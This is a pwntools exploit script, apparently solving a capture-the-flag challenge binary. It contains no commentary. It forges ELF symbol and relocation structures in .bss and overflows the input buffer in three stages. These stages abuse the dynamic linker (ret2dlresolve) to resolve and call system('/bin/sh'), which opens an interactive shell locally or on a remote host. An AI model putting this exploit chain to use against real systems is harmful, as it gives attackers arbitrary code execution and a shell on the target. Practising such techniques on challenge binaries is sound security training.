from pwn import *
from elf import *
from time import sleep

name = "../chal/chal"
file = ELF(name)
libc = ELF("../chal/lib/libc.so.6")
context.binary = file
context.terminal = ["kitty"]
script = """
set breakpoint pending on
b main
b system
c
"""
elf = parse(open(name, "rb").read())
rop = ROP(file)

if args.GDB:
    p = gdb.debug(name, gdbscript=script, aslr=True)
elif args.REMOTE or args.HOST or args.PORT:
    p = remote(args.HOST or "localhost", args.PORT or "5000")
else:
    p = process("./chal", cwd="../chal")

relocs = elf.dyntag(constants.DT_JMPREL).d_val
symtab = elf.section(".dynsym")
strtab = elf.section(".dynstr")
plt = elf.section(".plt")

sym_addr = symtab.sh_addr
sym_addr += (file.bss() + 0xf00 - sym_addr) + sizeof(Symbol) - (file.bss() + 0xf00 - sym_addr) % sizeof(Symbol)
sym_end = sym_addr + sizeof(Symbol) * 2
assert (sym_addr - symtab.sh_addr) % sizeof(Symbol) == 0

rel_addr = relocs
rel_addr += (sym_end - rel_addr) + sizeof(Reloc) - (sym_end - rel_addr) % sizeof(Reloc)
assert (rel_addr - relocs) % sizeof(Reloc) == 0

sym_name = rel_addr + sizeof(Reloc)
shell = sym_name + len("system\x00")

log.info(f"sym = {sym_addr:#x}")
log.info(f"rel = {rel_addr:#x}")
log.info(f"nam = {sym_name:#x}")

sym = Symbol()
sym.st_name = sym_name - strtab.sh_addr
sym.st_value = 0

rel = Reloc()
rel.r_addend = 0
rel.r_offset = file.got.gets
rel.r_type = constants.R_X86_64_JUMP_SLOT
rel.r_sym = (sym_addr - symtab.sh_addr) // sizeof(Symbol)

payload =  b"\x00" * 0x0d
payload += p64(sym_addr - 0x80 + 0x0d)
payload += p64(file.sym.main + 4)
p.sendline(payload)

sleep(0.5)

payload =  b"\x00" * 0x0d
payload += p64(file.bss() + 0xd00)
payload += p64(file.sym.main + 4)
payload =  payload.ljust(0x80)
payload += bytes(sym)
payload += b"\x00" * (rel_addr - sym_addr - sizeof(Symbol))
payload += bytes(rel) + b"system\x00" + b"/bin/sh\x00"
p.sendline(payload)

sleep(0.5)

payload =  b"\x00" * 0x0d
payload += p64(shell + 0x0d)
payload += p64(rop.find_gadget(["ret"]).address)
payload += p64(plt.sh_addr)
payload += p64((rel_addr - relocs) // sizeof(Reloc))
payload += p64(file.sym.main + 4)
p.sendline(payload)

sleep(0.5)

p.interactive()